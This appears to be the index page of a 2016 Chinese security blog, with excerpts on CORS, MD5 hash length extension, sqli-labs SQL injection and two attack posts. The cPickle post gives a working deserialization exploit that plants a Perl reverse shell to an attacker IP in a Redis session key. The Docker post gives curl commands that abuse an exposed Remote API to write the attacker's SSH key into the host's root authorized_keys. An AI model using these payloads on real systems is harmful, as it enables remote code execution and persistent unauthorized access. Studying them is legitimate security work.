wubba lubba dub dub.
post @ 2016-08-29

同源策略

同源策略(Same Origin policy, SOP),也称为单源策略(Single Origin policy),用于Web浏览器编程语言的安全措施,用以保护信息的保密性和安全性。同源策略防止网站脚本访问其他站点使用脚本,也组织它与其他站点交互。
只要协议端口主机三个有一个不匹配,就是跨域请求。

如果要跨域请求,有下面的限制:

  • 仅允许GET、HEAD、POST请求
  • 仅允许手动设置Accept、Accept-Language、Content-Language和Content-Type头
  • Content-Type头仅允许使用application/x-www-form-urlencoded,multipart/form-data和text/plain这三种值。

满足以上三个请求的,称为simple request
当上门的simple request不能满足使用场景的时候,有以下的请求解决跨域限制,都是以Access-Control-开头,比较重要的有:

  • Access-Control-Allow-Origin:限制这个请求能从哪些URI访问。

在使用这个请求,使用AJAX时,被调用方需要输出这个头,指名可以从哪个网站 访问,如果未输出这个头,只允许同域名的访问。

  • Access-Control-Allow-Credentials: 允许这个请求使用cookie。

一般跨域情况下,AJAX不会附带用户的Cookie,也不允许设置用户的Cookie,要使用这个的话,首先C在构造这个XMLHTTPRequest对象时,需要设置withCredentials属性。

XMLHttpRequest:

var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.withCredentials = true;
xhr.onreadystatechange = handler;
xhr.send()
Read More

利用Python cPickle反序列化反弹shell,主要利用cPicle的__reduce__,在反序列化的时候自动执行,官方文档有如下:

When a tuple is returned, it must be between two and five elements long. Optional elements can either be omitted, or None can be provided as their value. The contents of this tuple are pickled as normal and used to reconstruct the object at unpickling time. The semantics of each element are:

A callable object that will be called to create the initial version of the object. The next element of the tuple will provide arguments for this callable, and later elements provide additional state information that will subsequently be used to fully reconstruct the pickled data.

__reduce__的返回值,第一个作为callable object,第二个作为参数调用,所以可以有如下反弹shell的方法:

#!/usr/bin/env python
import cPickle
import os
import redis

class exp(object):
    def __reduce__(self):
        s = """ perl -e 'use Socket;$i="xx.xx.xx.xx";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");}'"""
        return (os.system, (s,))
   
e = exp()
s = cPickle.dumps(e)

r = redis.Redis(host='xxx.xxx.xxx.xxx', port=6379, db=0)
r.set('b026324c6904b2a9cb4b88d6d61c81d1')

执行之后,向目标IP写入key为b026324c6904b2a9cb4b88d6d61c81d1,其值是序列化的字符串,__reduce__函数可以反弹shell的session。
反弹shell指定端口 nc -l -vv -p 443
然后到redis页面设置session_id,刷新之后即可反弹。

Read More
post @ 2016-07-25

https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

这篇文章里有提到的哈希长度扩展攻击看了下做个笔记。理解哈希长度扩展攻击以md5为例,需要理解下面几点:

MD5的部分工作原理

一. 先看下MD5的计算过程,只需要理解一半:

对于一个message进行md5计算的过程是这样的:
经过三个步骤,这部分可以看RFC:

The message is “padded” (extended) so that its length (in bits) is congruent to 448, modulo 512.
先进行补位,使得整体长度对512取模之后的值为448,len(message)%512 == 418,计算单位是bit(位)。

  1. Append Padding Bits

    补位是这样的,先在message后面加0x80标识,然后加无限个0,一直满足对512bit取模之后等于448bit。

  2. Append Length

    512bit和448相差64bit,即8Byte,这个8字节用来表示补位之前message的长度。

  3. 计算消息摘

    有一个初始链变量,用来参与第一轮的运算,MD5的初始变量为:
    A = 0x67452301
    B = 0xefcdab89
    C = 0x98badcfe
    D = 0x10325476

整体来说就是先补位,然后补长度,这个长度占8Byte,用来表示补位之前message的长度,然后计算md5。现在记住下面这句话:

每经过一次消息摘要计算,上面的链变量会被新的值覆盖,最后一轮经过高低位互换(aabbccdd -> ddccbbaa)就是最终的MD5值。

现在来进行md5扩展长度攻击:
我觉得直接把这个看完就差不多了:https://github.com/iagox86/hash_extender

Read More
post @ 2016-05-18

Source:

昨天下午和今天上午一起和@ccst同学查资料讨论了下,以下是结果:

可以按照zone里面说的,直接使用docker本地客户端进行shell反弹,安装docker: curl -sSL https://get.docker.com/ | sh ,如果在链接的时候提示client版本高于服务器版本可以这样子:export DOCKER_API_VERSION=1.9.0,后面的版本自己定。

另外一种方法就是直接使用Remote API,把本地id_rsa.pub写入到远程宿主机的/root/.ssh/authorized_keys

先创建container,同时把宿主机的/root/.ssh挂载到docker的container某个目录,比如/tmp:

curl  -X POST  -H "Content-Type: application/json"  -d '{ "Cmd": [ "/bin/sh", "-c", " echo \"公钥\" >> /tmp/authorized_keys " ], "Image": "sshd", "Volumes": { "/tmp": {} }, "HostConfig": { "Binds": ["/root/.ssh:/tmp:rw"] } } ' "http://10.20.30.40:2375/containers/create"

上面的创建create中的Image可以先远程查看有哪些image: curl -v http://10.20.30.40:2375/images/json,这样会列出所有的image,从其中跳出来一个像这样的

"RepoTags": [ "nginx:latest" ], 注意nginx后面有一个latest。创建的时候指定image,尽可能找有latest的image,

以上命令会返回创建好的containerid然后启动container: curl -X POST http://10.20.30.40:2375/containers/id/start

Read More
post @ 2016-05-05

注入的方法

sqli-labs的1,2,3,4课都可以使用以下四种来进行注入数据:

  • Union select
  • Error based
  • Blind based
  • Time blind based

对应的可以使用sqlmap.py --technique 上面首字母大写来指定相应的注入类型。

Less-5

第五课首先排除union注入,因为页面无法显示数据,最后我还是看了网页源代码才注入的。

我发现sqlmap在每次注入的时候都会先尝试确定当前变量是被那种包含,然后在payload里面闭合,这样可以确保整个语句的完整性。 要么确定当前语句完全闭合,要么注释掉后面的语句,确保闭合。

Less-7

报错和union查询都出不了数据,只能进行盲注。bool blind和time blind。前面闭合可以使用'或者')

Less-8

Read More
⬆︎TOP